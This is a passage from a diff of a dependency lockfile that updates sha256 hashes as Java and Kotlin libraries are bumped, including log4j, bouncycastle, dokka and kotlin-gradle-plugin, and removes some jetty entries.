-   "jar": "sha256-kuwf02qzvAneYZjS18CRRoXA9xJ+qTGswy/S7N2C6ok=",
-   "pom": "sha256-tnzD0JgJJwSaO+sA1Qbs4oh0ZzKw3sgSJFxZ9FP7HKE="
+  "org/apache/logging/log4j#log4j-api/2.24.1": {
+   "jar": "sha256-bne7Ip/I3K8JA4vutekDCyLp4BtRtFiwGDzmaevMku8=",
+   "pom": "sha256-IzAaISnUEAiZJfSvQa7LUlhKPcxFJoI+EyNOyst+c+M="
   },
-  "org/apache/logging/log4j#log4j-bom/2.23.1": {
-   "pom": "sha256-NyOW4EWNTNMsCWytq+DMkzDsEPT1f6O+LnT3m14XijU="
+  "org/apache/logging/log4j#log4j-bom/2.24.1": {
+   "pom": "sha256-vGPPsrS5bbS9cwyWLoJPtpKMuEkCwUFuR3q1y3KwsNM="
   },
-  "org/apache/logging/log4j#log4j-core/2.23.1": {
-   "jar": "sha256-cHk2gAX8NPViSPV/iopTNhw6U+kAfVVtvGb8Zp3wgbU=",
-   "pom": "sha256-yJugwjdXURuSUrJ6cx0B6GOyjd/OUD597pSuIxjILdw="
+  "org/apache/logging/log4j#log4j-core/2.24.1": {
+   "jar": "sha256-ALzziEcsqApocBQYF2O2bXdxd/Isu/F5/WDhsaybybA=",
+   "pom": "sha256-JyQstBek3xl47t/GlYtFyJgg+WzH9NFtH0gr/CN24M0="
   },
-  "org/apache/logging/log4j#log4j/2.23.1": {
-   "pom": "sha256-bOFUBFU2S1PqIqGDQssSamOBYz9lPwlUZ/KqGYURps4="
+  "org/apache/logging/log4j#log4j/2.24.1": {
+   "pom": "sha256-+NcAm1Rl2KhT0QuEG8Bve3JnXwza71OoDprNFDMkfto="
   },
   "org/apache/maven#maven-api-meta/4.0.0-alpha-9": {
    "jar": "sha256-MsT1yturaAw0lS+ctXBFehODzOxMmlewOSYH1xkcaUk=",
@@ -741,37 +793,43 @@
   "org/apache/maven#maven/4.0.0-alpha-9": {
    "pom": "sha256-5QzZ/zefQ3H3/ywsrFF5YfPS9n7fgJCHU8e9UGuRPX4="
   },
-  "org/bouncycastle#bcpkix-jdk18on/1.78.1": {
-   "jar": "sha256-S0jqCE5SMrnXnryhiHud4DexJJMYB81gcQdIwq7gjMk=",
-   "pom": "sha256-CVIrr36Zuqk6JRXRbPHLlT+iJ41+PEbIvv8n3AQXKDE="
+  "org/apiguardian#apiguardian-api/1.1.2": {
+   "jar": "sha256-tQlEisUG1gcxnxglN/CzXXEAdYLsdBgyofER5bW3Czg=",
+   "module": "sha256-4IAoExN1s1fR0oc06aT7QhbahLJAZByz7358fWKCI/w=",
+   "pom": "sha256-MjVQgdEJCVw9XTdNWkO09MG3XVSemD71ByPidy5TAqA="
   },
-  "org/bouncycastle#bcprov-jdk18on/1.78.1": {
-   "jar": "sha256-rdWRXmrPxqtYNuH9il4hxkiFNqjB8h84bus78oC3Atc=",
-   "pom": "sha256-KJEtE5+e7RQcOUNx++W6b//5HnjxycuDSPlEok0gTtI="
+  "org/bouncycastle#bcpkix-jdk18on/1.80": {
+   "jar": "sha256-T0umqSYX6hncGD8PpdtJLu5Cb93ioKLWyUd3/9GvZBM=",
+   "pom": "sha256-pKEiETRntyjhjyb7DP1X8LGg18SlO4Zxis5wv4uG7Uc="
   },
-  "org/bouncycastle#bcutil-jdk18on/1.78.1": {
-   "jar": "sha256-2fpW+XsPdhzjvI2ddMXXE3qYe/W9Or/hAD+br6RaHS8=",
-   "pom": "sha256-dB1Vy0XEwsiJtaQ2t0fcIVKSMTLkJr5u9VUA7uf6UxI="
+  "org/bouncycastle#bcprov-jdk18on/1.80": {
+   "jar": "sha256-6K0gn4xY0pGjfKl1Dp6frGBZaVbJg+Sd2Cgjgd2LMkk=",
+   "pom": "sha256-oKdcdtkcQh7qVtD2Bi+49j7ff6x+xyT9QgzNytcYHUM="
   },
-  "org/checkerframework#checker-qual/3.42.0": {
-   "jar": "sha256-zK7dM68LeJTZ8vO2RPTRnkOSjjKQLmGsTRB3eDD1qsc=",
-   "module": "sha256-4PpiK33mPq4RBH726RtMKtDx8OE8uQP/UggKR/V6V0Y=",
-   "pom": "sha256-v1/KqycvVMvPG753w72WPIIcmrrSBYcIvwvtPIdUlMo="
+  "org/bouncycastle#bcutil-jdk18on/1.80": {
+   "jar": "sha256-Iuymh/eVVBH0Vq8z5uqOaPxzzYDLizKqX3qLGCfXxng=",
+   "pom": "sha256-Qhp95L/rnFs4sfxHxCagh9kIeJVdQQf1t6gusde3R7Y="
   },
-  "org/codehaus/groovy#groovy-bom/3.0.21": {
-   "pom": "sha256-ksw2r/0g9Wi1CSwLlOz1hd3rCigbbIunJWVwuxhdZTQ="
+  "org/bouncycastle/bcutil-jdk18on/maven-metadata": {
+   "xml": {
+    "groupId": "org.bouncycastle",
+    "lastUpdated": "20250114201150",
+    "release": "1.80"
+   }
   },
-  "org/codehaus/plexus#plexus-utils/4.0.1": {
-   "jar": "sha256-lrnMREORkdLQY1l04tROdoc2tPsqvLZflM2V5BkS+os=",
-   "pom": "sha256-vEI1qVzR665CZEyB67qcHUxSVl+B6WqyBLblbj43jME="
+  "org/checkerframework#checker-qual/3.48.3": {
+   "jar": "sha256-RDaFsbIygDuq+APBXW9aQlRzxve4HF8nbfz5MojjiaU=",
+   "module": "sha256-Enu8VRPkHM/ms8tvqngBQjNJqVQUNnrLfPdil2dUnlk=",
+   "pom": "sha256-te+ROQIjzafQKelrKwwcZPVVu0Ad9lfqLLm7fElrqbE="
+  },
+  "org/codehaus/plexus#plexus-utils/4.0.2": {
+   "jar": "sha256-iVcnTnX+LCeLFCjdFqDa7uHdOBUstu/4Fhd6wo/Mtpc=",
+   "pom": "sha256-UVHBO918w6VWlYOn9CZzkvAT/9MRXquNtfht5CCjZq8="
   },
   "org/codehaus/plexus#plexus-xml/4.0.4": {
    "jar": "sha256-Bp54tTcQjcYSSmcHP8mYJkeR9rZJnpVaOOcrs+T+Gt8=",
    "pom": "sha256-Ohb3yn7CRzFFtGHgpylREI1H4SThjIRMCFsaY3jGEVE="
   },
-  "org/codehaus/plexus#plexus/17": {
-   "pom": "sha256-kVJu5mMnx/UPuyW9Qb/LkW4oRBS4aOMdUKIwBL197qc="
-  },
   "org/codehaus/plexus#plexus/18": {
    "pom": "sha256-tD7onIiQueW8SNB5/LTETwgrUTklM1bcRVgGozw92P0="
   },
@@ -788,16 +846,6 @@
   "org/eclipse/ee4j#project/1.0.7": {
    "pom": "sha256-IFwDmkLLrjVW776wSkg+s6PPlVC9db+EJg3I8oIY8QU="
   },
-  "org/eclipse/jetty#jetty-bom/9.4.54.v20240208": {
-   "pom": "sha256-00QQSm7mGdplmEA8JdA6qqrw9U6WRv01EkWN9Xyarrg="
-  },
-  "org/eclipse/jetty#jetty-parent/21": {
-   "pom": "sha256-eXLp7G84UqjuHuXU0Q3Mnc1gd7El+TWqlrNnpsgjN/U="
-  },
-  "org/eclipse/jetty/alpn#alpn-api/1.1.3.v20160715": {
-   "jar": "sha256-B76ZdYtpnhlPcPuXhNlCAtxsmCEod4KePXKwIPJmBXY=",
-   "pom": "sha256-FrRveqUg7VDUR4oM9ndjje3AFDtCNMJ48WDLS9JUgq8="
-  },
   "org/freemarker#freemarker/2.3.32": {
    "jar": "sha256-BNZewb3mzqIONJXV5475ard02ZNkNIYdMlS9iOfpT5I=",
    "pom": "sha256-B6B+Lq8JdgIrVAVnx99iJxK5oDk6bF9tIOb/FXkiKgE="
@@ -828,432 +876,434 @@
    "jar": "sha256-ew8ZckCCy/y8ZuWr6iubySzwih6hHhkZM+1DgB6zzQU=",
    "pom": "sha256-yUkPZVEyMo3yz7z990P1P8ORbWwdEENxdabKbjpndxw="
   },
-  "org/jetbrains#markdown-jvm/0.5.2": {
-   "jar": "sha256-cmSER3JgpVLcfBmwnUZWxIrjsQ2yclAA4YLWFZUptG4=",
-   "module": "sha256-fzA2ZgQteNJMVVEgyIJHjDCaIo7pK1G9ca2/+knDO1A=",
-   "pom": "sha256-D58z0tjpkbt1C7VZ2q1YtsVH5raHQAA4Jne3XFtYpG0="
+  "org/jetbrains#markdown-jvm/0.7.3": {
+   "jar": "sha256-iTq7MfFbYhb3TccEwMa/HlZ9zytizKKc9C5PUxU2N6w=",
+   "module": "sha256-cCm2PHSWTltDNDCO5ynpW1ONpe1qwSsuR31HhXLQIlI=",
+   "pom": "sha256-rLnRV//Hpk7mK+jt2WANJrXbAycKdOi+U815/gsm880="
   },
-  "org/jetbrains#markdown-jvm/0.7.0": {
-   "jar": "sha256-yLRL4zhZiRLou4pJmLAX333RmBUszv/vAc8SipkAE54=",
-   "module": "sha256-PL1M+XdGeY3ODzCIf/TgGig9DvoO5m3en/CvARrLdAU=",
-   "pom": "sha256-0VsK0umlc/l87P+p7UDP5TTV/HazLigPhd0C/lVIn84="
+  "org/jetbrains#markdown/0.7.3": {
+   "module": "sha256-2/rnqoU+teoe66MYllOKhANkb1XFmpkZHWh/wDe9rDk=",
+   "pom": "sha256-EeUuCmQOVKSzsjDRSFyVukuneyx7H8KENzkPngEicUc="
   },
-  "org/jetbrains#markdown/0.5.2": {
-   "module": "sha256-bpFAGmpLbnc1auIzdjDoovLcQawmG3BbOpZv/GI/I+Q=",
-   "pom": "sha256-mH5hITw/ERPsyi/8I6b0hpvuig+zCR8n3xvfq1KMhSg="
+  "org/jetbrains/dokka#all-modules-page-plugin/2.0.0": {
+   "jar": "sha256-01ibU23XRoB5BnKVgZyihXNjEnXMGOzOLy7/DgFtMnI=",
+   "module": "sha256-H2omPRdAFRJHcCQJoQGyGyBEsv5oHtlfPwDIPKL49/w=",
+   "pom": "sha256-k1+S+aXwCPT8akdE00bUIWf6TXQdCYDLh7m3iQTg+pw="
   },
-  "org/jetbrains#markdown/0.7.0": {
-   "jar": "sha256-CyFbRlFaxzcfaK2efq6i+Pkr6R83v70DsAjLVvFnUCE=",
-   "module": "sha256-fRDYKtUAs+iccbTS3Byl1L3Xq/BIcostrtWzsPuVxzs=",
-   "pom": "sha256-AplTmbCmzpt9dfH4f1yR1QwUg+m0oSH2a0ZAcsVIVVU="
+  "org/jetbrains/dokka#analysis-kotlin-descriptors/2.0.0": {
+   "jar": "sha256-gpeIxAiRoqPEuUNcueyA1kVWDZJun7vQjMwp6OTx63w=",
+   "pom": "sha256-EkmpCHEX6hwM/7XNoM+hFJBS+Q13v34Ob9mzoYNdB18="
   },
-  "org/jetbrains/dokka#all-modules-page-plugin/1.9.20": {
-   "jar": "sha256-l6FkXFrUKNN72nqMy/8xHyfAEdAUincdchFnj5qmVsU=",
-   "module": "sha256-5ppgwoB44BoaFSdIs3M32r2RhmB0bS7rv3HexQYDjRs=",
-   "pom": "sha256-t6gKNfwDIkaUQN+1eMvKPG8U727NVX+nxkKkhSj776Y="
+  "org/jetbrains/dokka#analysis-markdown/2.0.0": {
+   "jar": "sha256-2juwVNWQyNO3ms62FTrN5PKKcsWPbvtvopFtqGi5+DQ=",
+   "module": "sha256-Y9Svlf2/ITUM/nfCm44n7fxphC1GIPA3sooAivE2LBc=",
+   "pom": "sha256-hNqWan785ktm0YjoyRsgv+NBf6cstEEeD46dxgdkoXg="
   },
-  "org/jetbrains/dokka#analysis-kotlin-descriptors/1.9.20": {
-   "jar": "sha256-Nq+ECbvk2mov81ZFwntqdoeIQEQ4mLVgWh2avXVclow=",
-   "pom": "sha256-WO9jQY0yViRqjpkfKV8q/N7WefqS/LgpdOJt7Vy2Vkc="
+  "org/jetbrains/dokka#dokka-base/2.0.0": {
+   "jar": "sha256-BBHRw4odEAy9NGxjQMPEtfFUpIqcEZ7RGJPW+ulMkao=",
+   "module": "sha256-JTBdz25Cw739iyyqX74qjc6i6Vw1kALZaB9FCd5XSak=",
+   "pom": "sha256-HG+nzVExr6XbUft5BGqF5GaGaOm2h2t/kJC9D0PW5Dg="
   },
-  "org/jetbrains/dokka#analysis-markdown/1.9.20": {
-   "jar": "sha256-uiEg/wNxXhsmXRgLXVT4j+itp1jXljlQXPoCNfc1wQk=",
-   "module": "sha256-/qwu1TYem5odag9q1jAZrxMIZXlABtWoRSiYw2rAF2A=",
-   "pom": "sha256-kpPTl50NqDO40F+/cuEZnF2VuWMexl/ut1y7uPhBtyg="
+  "org/jetbrains/dokka#dokka-core/2.0.0": {
+   "jar": "sha256-OwIhZrfP49201Tjnb5e8jEE0Z379ZjEDTmP9ci4SU+4=",
+   "module": "sha256-iA7+arXz1MMGrsNVkBQ+5Bhujyuzw6yVKaxTZAVmetY=",
+   "pom": "sha256-SWN/vvKBVW4wjx0Gz8EV00p2q5OvfpXkiSYnNHwov5E="
   },
-  "org/jetbrains/dokka#dokka-base/1.9.20": {
-   "jar": "sha256-xr/alBtH0NpGuAQtweOvYs3G9Kdrv9kJQ9p8max0d4M=",
-   "module": "sha256-IDrGkj+sD1j2YisCrXGeIuBOr4m7sZ2opyDdVP7m8Ik=",
-   "pom": "sha256-hkh3sGo3jO4h4u+aDclp6pCjK/KYviAnS5LM9q/fKow="
+  "org/jetbrains/dokka#dokka-gradle-plugin/2.0.0": {
+   "jar": "sha256-9pSXM7wDyGFfTd0QpTddHaq3b/4gCziRrrVSqw5ueOQ=",
+   "module": "sha256-AukU6HnChqCQGPsrif7JV0M3zDOTbk5lZQLxcao/2/k=",
+   "pom": "sha256-h963mcSbDJo92nmwCLjyM56iBKWbaY4dsCFhboxAqlQ="
   },
-  "org/jetbrains/dokka#dokka-core/1.9.20": {
-   "jar": "sha256-EhizoInIX41byc7lNGp4f2QUPW/HtPBLBRtqW3Sv3IY=",
-   "module": "sha256-w+z7y6JqmLbouDusckOZKz6d/jilB9d6UnvL5E75ua0=",
-   "pom": "sha256-N9LsB2+hsvlR92bUjxHVHXOrjlNwkGy/XXnMPkbRjxI="
+  "org/jetbrains/dokka#gfm-plugin/2.0.0": {
+   "jar": "sha256-hxTAhA5WUog28yrrSwQVnwbwusy9IZdmgQlz22z1528=",
+   "module": "sha256-b7RU/rlsO7nK6tj3YG5mTKZbAUQBJkon0l1zE6AClJQ=",
+   "pom": "sha256-UNSVocw91I8Z0Zw6bBpbNvXHKNAtHcntzvyV4egFuPc="
   },
-  "org/jetbrains/dokka#dokka-gradle-plugin/1.9.20": {
-   "jar": "sha256-7dbOLDEoeI2k6lPe3sB/8LhI6p+mg8Ywv3k1Vw+7QhA=",
-   "module": "sha256-RMEY9JsqY95tLAdVYixHNKhVGviWx9ZAuEDSGL4M2CA=",
-   "pom": "sha256-cmyCm7TGy1h9pYYJVLLxJN8NQ9W/LxaQ7Rk9r2JSGGI="
+  "org/jetbrains/dokka#gfm-template-processing-plugin/2.0.0": {
+   "jar": "sha256-gT8k5SHnIPZNkZy/iURLT4jgcpXiCczh7VMgDqYo0Kg=",
+   "module": "sha256-gyXcecQGFajlN8LXiVPnym1F/e/coMrCHZFSsuXFX+Q=",
+   "pom": "sha256-4BMmXKjl/J9rKued/DJxxQfr1WwQnZPRQsl8zxWvZOo="
   },
-  "org/jetbrains/dokka#gfm-plugin/1.9.20": {
-   "jar": "sha256-f5qvOPhLGwZGeCfnNvOkmeMefUg8unKHy77MU9WE8y8=",
-   "module": "sha256-0cPvGZtJZTQ/TdEpr+tujKF+iAoQ0jPd6dyN+hOGvxs=",
-   "pom": "sha256-JGElNBZW5N+87fgk3sSbT9KDzgn8iRr+RbarIoz2Ntc="
+  "org/jetbrains/dokka#jekyll-plugin/2.0.0": {
+   "jar": "sha256-mXX12/1XgWWQquhV4VXb7EYffDwYzMcZJaUFKwyG2/M=",
+   "module": "sha256-73ceMvAQZCkSDGxUI4G8OEcJS3Tm/w2LZ6kSoFD5uow=",
+   "pom": "sha256-pFiMSooMuHuNE/ASaJN8TXHigvgNzDyKrjVCMsHxxYQ="
   },
-  "org/jetbrains/dokka#gfm-template-processing-plugin/1.9.20": {
-   "jar": "sha256-04wGZ1R7bI7K/AUNH967Cq5nnatHxb3Xs938btQXHKg=",
-   "module": "sha256-mjhaQy+qWiK2SAewLkK2RBJMBRiX5DX7Hh8GR3Jh+jQ=",
-   "pom": "sha256-1ND/ZwqyZ3P8/KQXd9b87ZlZLw00I2EvbJGcb1+dZu4="
+  "org/jetbrains/dokka#jekyll-template-processing-plugin/2.0.0": {
+   "jar": "sha256-9fKVXJeP9R86N4tlWbCS2DrV6MRGQIJbMSlbRndOFKk=",
+   "module": "sha256-LPL9uY4DSHo5DF8sUtw8iXOejxuMnvgvDanWoqInoOs=",
+   "pom": "sha256-njK1/mOrlDIJrD6wyjZzLEV1cA4Z60WGTUwd08N1m3I="
   },
-  "org/jetbrains/dokka#jekyll-plugin/1.9.20": {
-   "jar": "sha256-iduNwnd+N1HeLw0FNxZbRmxUThnD9BBClRc3E23bGu4=",
-   "module": "sha256-kojGi60yAH7eXDkmvkhAeu46mW/xtNTg2Pl0sancfXM=",
-   "pom": "sha256-9IWudDvcJYU0o5Cl28iwanJiTZtJdVA6JZHE4eA6f5o="
+  "org/jetbrains/dokka#org.jetbrains.dokka.gradle.plugin/2.0.0": {
+   "pom": "sha256-4fxoagGDfn6GKRGFkBUH/+r3lLip7JR7XQQ2j6cOAMo="
   },
-  "org/jetbrains/dokka#jekyll-template-processing-plugin/1.9.20": {
-   "jar": "sha256-cmnUZPPlAuFUBosmvtYS5fkQn3j+JHn5F0xtC8Qq6CY=",
-   "module": "sha256-P83z3bPpEvoFBXD0rL10ASc1vZqQ1HEE3WRnxfPcf1M=",
-   "pom": "sha256-UnZTelL3jYHat+c2hCikLqqYemAPNzmyUeJsCEOm3QY="
-  },
-  "org/jetbrains/dokka#org.jetbrains.dokka.gradle.plugin/1.9.20": {
-   "pom": "sha256-J7WLy2erfv8EO20nz2Oo9C18bx3AlzoQ53gDTXIrDpw="
-  },
-  "org/jetbrains/dokka#templating-plugin/1.9.20": {
-   "jar": "sha256-5dJx2ACr4mtAzTJrsbgz+agl4jcYuDDhTTnpFy9Fv4I=",
-   "module": "sha256-+THUhm1wio69b+1YRA8qLI2tN1oxRUc3v+ezMlIWijw=",
-   "pom": "sha256-87lBCuL3huImPl4+/JXTn0ZckTdc2GxKEE9h9rE4m4I="
+  "org/jetbrains/dokka#templating-plugin/2.0.0": {
+   "jar": "sha256-gmXG5qAozQ45wRaMG3bw/wY5ngvmi57/Snj8LdSugYM=",
+   "module": "sha256-YIna696ws1DZHuCxqxarB5j63II7Eo3UNDmWOxdkmsQ=",
+   "pom": "sha256-rqDS7WCgzoRhO3nxh8It7eTbBPIfV/mRPhapC/0ONdk="
   },
   "org/jetbrains/intellij/deps#trove4j/1.0.20200330": {
    "jar": "sha256-xf1yW/+rUYRr88d9sTg8YKquv+G3/i8A0j/ht98KQ50=",
    "pom": "sha256-h3IcuqZaPJfYsbqdIHhA8WTJ/jh1n8nqEP/iZWX40+k="
   },
-  "org/jetbrains/kotlin#kotlin-build-common/2.0.20": {
-   "jar": "sha256-NvDXXOmviQZNnbT9IeIsVQdyAP5OOufZnjREmCZ6oNs=",
-   "pom": "sha256-EOhYxaCAxN21Wx0GvujV6Ea4YQX1aw5A8ojj+mGWEXI="
+  "org/jetbrains/kotlin#fus-statistics-gradle-plugin/2.1.20": {
+   "module": "sha256-6NVkojvCA3s++xxbAP+3SuRPmXJFd+L8jYf/u8nLn7U=",
+   "pom": "sha256-oRA6cKb4/8EITdwIGyS6smpWRJcvnM0UG4mU2fUFRHg="
   },
-  "org/jetbrains/kotlin#kotlin-build-statistics/2.0.20": {
-   "jar": "sha256-c6fXFRN1WzF9Kxttp2bW5reiXcmdzv5DEzJTNkIuzhE=",
-   "pom": "sha256-10GK0lyAbeg2FQvdNQsAvmwtJQmeXXQd3+PzgcUurY0="
+  "org/jetbrains/kotlin#fus-statistics-gradle-plugin/2.1.20/gradle85": {
+   "jar": "sha256-ZnTyl1XTJq3cdWov3Kvyu2AvAABKDtLbZp2j306EgAY="
   },
-  "org/jetbrains/kotlin#kotlin-build-tools-api/2.0.20": {
-   "jar": "sha256-V+1QIg547DnoqAAUMw8pXlSFtWOMESmvntfVPXhYxcI=",
-   "pom": "sha256-nHrVho+yGJsb9NbCL2yUmDs6jhopTpWlQSy4Lg9C3bI="
+  "org/jetbrains/kotlin#kotlin-build-statistics/2.1.20": {
+   "jar": "sha256-TSjxg6dsMKjKwg56P6hwVMLdHbiGSzyc04nhjdmX0x4=",
+   "pom": "sha256-OR9tc0uDTJG3qAHiI638c2tYDb3ODxOafkvUdknATKM="
   },
-  "org/jetbrains/kotlin#kotlin-build-tools-impl/2.0.20": {
-   "jar": "sha256-nOb4Gmmcw32zY6KDcVC8YqJJA9r2EhA00Sl5qpUBRGs=",
-   "pom": "sha256-DyiqOx3o2AWm+HlX08PWbDOeDEMmaZlc9Zf58r6J4II="
+  "org/jetbrains/kotlin#kotlin-build-tools-api/2.1.20": {
+   "jar": "sha256-Uzw2yzYubtLRX1hzLn9MbSvtXJ1RebiXvEsJ0W1gU3c=",
+   "pom": "sha256-kn9h95cmHFnktTEDFNaf1KOrjvT3A596UyYHXEKkFzo="
   },
-  "org/jetbrains/kotlin#kotlin-compiler-embeddable/2.0.20": {
-   "jar": "sha256-o2BL81DIvM4nECFYu7OD+k0YFLxIaq7VnyeOraUf9q0=",
-   "pom": "sha256-WXBD+4xlJ/QpmcoE7TUpY5Is0W5piKqlLT2zLaHbhZ0="
+  "org/jetbrains/kotlin#kotlin-build-tools-impl/2.1.20": {
+   "jar": "sha256-bpSJbjIWA+O/6J/vAkeORNHWSj0l1J0GlIkv/AHGCs8=",
+   "pom": "sha256-EPseNeDocGdH6Og+ro+LQ0BrpmTkIB7J38ua99prQro="
   },
-  "org/jetbrains/kotlin#kotlin-compiler-runner/2.0.20": {
-   "jar": "sha256-4DzwSwNA8a4VEhBjC10pFcKXmIxuIuTe206nz7dKz2c=",
-   "pom": "sha256-3M3xugxPzYvUIwNFroP6fb6SglY9ilP9XmHFM1tbcYA="
+  "org/jetbrains/kotlin#kotlin-compiler-embeddable/2.1.20": {
+   "jar": "sha256-xUoAcYyMDj7oWL9Cdxx/QBxePBc4hh4Y6VNjcQQvobM=",
+   "pom": "sha256-InQE6sbYCbwNlN74kzbf332afVOHkqI01Svbr8Kuha8="
   },
-  "org/jetbrains/kotlin#kotlin-daemon-client/2.0.20": {
-   "jar": "sha256-cxUswf2CHQcTlHOry/jH0B0A5oaEuWHhkurogNycfaQ=",
-   "pom": "sha256-qUcReIj0z/tjk9QurqYRtj31ib8pYXgmzLclNxK/OsM="
+  "org/jetbrains/kotlin#kotlin-compiler-runner/2.1.20": {
+   "jar": "sha256-3jtUI9j7+G6ivRM01AG8SqhOKOxIlFlS0RwAsQsUArY=",
+   "pom": "sha256-xgNdI3KARTSALDfOVU6MjLqq6EUUp7rWzAlkJNjySUU="
   },
-  "org/jetbrains/kotlin#kotlin-daemon-embeddable/2.0.20": {
-   "jar": "sha256-W9URO4WrhSjhkuK7P8GX9bw0SLzb0Fh5Czf9N/TuV68=",
-   "pom": "sha256-IZgoJm6keO7rQuT1L5bQuQfYykhHz4aq45FprYsupKU="
+  "org/jetbrains/kotlin#kotlin-daemon-client/2.1.20": {
+   "jar": "sha256-NjCjAYLGNXDrUZrmWqqUGSF9utCBT+3kLI3ecERlpMY=",
+   "pom": "sha256-+qpgvkJw6RSbWUOSZjlhkr60f/XjpAmF3u3FTlkXItI="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-annotations/2.0.20": {
-   "jar": "sha256-i2O0/7e6aOKHIFaa1HqWzAZclFZO0WHuoVrIZIh7pN4=",
-   "pom": "sha256-D8eaPIg8fbbsD6lU1cimiugRBlIm+4WRbhy/9pnlwUc="
+  "org/jetbrains/kotlin#kotlin-daemon-embeddable/2.1.20": {
+   "jar": "sha256-2eg98dhHogG6PAFqeGztCRvpUDmX0J9qnPF5buSJ83Q=",
+   "pom": "sha256-sdOMCv1uHRXEjBxdFWzmBXj0MxNr7FI/TrGZ968/gik="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.0.20": {
-   "jar": "sha256-D3NXvFzMjjaB7DtGQ8cMrSiDskbIt699bZccQeOTTy0=",
-   "module": "sha256-CJ8SCJE61calM09nu8pI/HsK+hCv0L2lFT+8tSzCqWw=",
-   "pom": "sha256-IQOK734wtxG0qE3grS1TO9MgXhOKrWfP1YnXl+/afII="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-annotations/2.1.20": {
+   "jar": "sha256-sk9SbQ3++wKWrg9Ks2L51soCV3JcwnMIOprjN+ooJn0=",
+   "pom": "sha256-wKs06ffQCv3LIv0D5S6PhZpGR9lY4Lh7fQzSY0QWOlo="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.0.20/gradle85": {
-   "jar": "sha256-D3NXvFzMjjaB7DtGQ8cMrSiDskbIt699bZccQeOTTy0="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.1.20": {
+   "jar": "sha256-fjYZlm/jid9IV59DsY8sCwc2llWZFTd8lELrqM+7+/Y=",
+   "module": "sha256-AsJsJlASRw1yrc3buCTSOOayieEAzUu/moJ1Cj1Jv8A=",
+   "pom": "sha256-t02/6klcg6xWRwS6qDmk56W3kRiMj3llbJwZ3XfeLxg="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-idea-proto/2.0.20": {
-   "jar": "sha256-Ce2wJ7mh899xYnGuyte7QaHdvC+cETFyl5ANTyvc6Iw=",
-   "pom": "sha256-wZireMJmzzvnodJHBeW7GIbUlF/cpPcX9U77hv9M10o="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-api/2.1.20/gradle85": {
+   "jar": "sha256-fjYZlm/jid9IV59DsY8sCwc2llWZFTd8lELrqM+7+/Y="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-idea/2.0.20": {
-   "jar": "sha256-wfTqDBkmfx7tR0tUGwdxXEkWes+/AnqKL9B8u8gbjnI=",
-   "module": "sha256-wy8Uw0SXgCqOjXk7K11nkj4gIlOUePNm4Yp+9kFOut4=",
-   "pom": "sha256-Vn7N8kaceWkMLgmdz6r8PhF67GTe3BejtJ/Uo/ptDgg="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-idea-proto/2.1.20": {
+   "jar": "sha256-6vELILujkjoH+PsYL7jNVlaZ4Vfuc9Elma8fXKuiUEA=",
+   "pom": "sha256-PdYeaTbcUQBs5MN+/+Q+/hQAuEHgnsSx7kqU9rkZOCo="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin-model/2.0.20": {
-   "jar": "sha256-UUx/F9xeVO5dFqdhs2S500OVa8rUnf0I4IWWIldzfhk=",
-   "module": "sha256-HPn20+xtMFqgiQMqyJL/rogcwQUAP0VvLBX9PDAyCm4=",
-   "pom": "sha256-SEIbKUnHKiDU4OPybYcYxruScIbHbF/AlSCg1jbPumc="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-idea/2.1.20": {
+   "jar": "sha256-APb4Q6vJMNDGGrtOPjAsjRd2EpH5srwlhv4SsMuXXq0=",
+   "module": "sha256-td7wBfIpohsq1pJt9wjPhLqe+8TsGcY16/5baTcx2wg=",
+   "pom": "sha256-CjCxRdSY1H2yVdDUzWp3hMXx+QyL+YgsupWCKjvzMHA="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin/2.0.20": {
-   "module": "sha256-aBPMpB7w+/FciL7MQB44cGuWlEwhtr7HPdiM+QoPIB4=",
-   "pom": "sha256-eEmYfUbGj7neKvOwReEq1nPm1mOvbqpf2MYRlCt3LF0="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin-model/2.1.20": {
+   "jar": "sha256-1jf7pHCzv3E7CmXmcXrV3QOocl/MlFMCiUc6smtC6Cs=",
+   "module": "sha256-WJm5fnqbFx5sBeVJziqbo8ddJZMVnUsrAVZkFLVoUWo=",
+   "pom": "sha256-18CRV8ehutuNrk6Jv54N9FRbBM0DqqQJZqJm87hG0sM="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugin/2.0.20/gradle85": {
-   "jar": "sha256-gSn2LLfGJ7XOghh+QqbYfEKVK8e6ZLgFo1R/aFIxlmI="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin/2.1.20": {
+   "module": "sha256-6Ue1RPTNCcFQr9h5G70yoxN92uMEWn1TlL6lCaq5bFc=",
+   "pom": "sha256-H2OowlwTZmlled2VLz639CoKSns/avaRpIIjEwb82sk="
   },
-  "org/jetbrains/kotlin#kotlin-gradle-plugins-bom/2.0.20": {
-   "module": "sha256-GwMjHvp7O20xsJNocpQfh+J6gZwANxiz0JiAt25j180=",
-   "pom": "sha256-TDLrNQlMFjWd943q7BHOUjvjYEB0FPoK7Miu/GftSkM="
+  "org/jetbrains/kotlin#kotlin-gradle-plugin/2.1.20/gradle85": {
+   "jar": "sha256-+wFuZDtY4Koq7IkRDq8U54s3aMFX8lQ0V5X9aqEEk+s="
   },
-  "org/jetbrains/kotlin#kotlin-klib-commonizer-api/2.0.20": {
-   "jar": "sha256-QsQvvic/oDBOThf3OSxms56R+Z01+FwGixG91Wuemdw=",
-   "pom": "sha256-5f4GjE69XIhYw1w56GI6vrnIb4oXJUdC5/VZjkP62jw="
+  "org/jetbrains/kotlin#kotlin-gradle-plugins-bom/2.1.20": {
+   "module": "sha256-IF4RacYovsBfHVnkTTIJFSiun9U6fjPsVDvO/bEojeY=",
+   "pom": "sha256-Y5ymx2U+Gp2pXfKjuuJsy3AcA6/VjHl6tr9vJV9kwwE="
   },
-  "org/jetbrains/kotlin#kotlin-klib-commonizer-embeddable/2.0.20": {
-   "jar": "sha256-ZzHCVkuXOXGDWCVJAUC3rZ63Jtk4/gzvTr7y7Fkt6wM=",
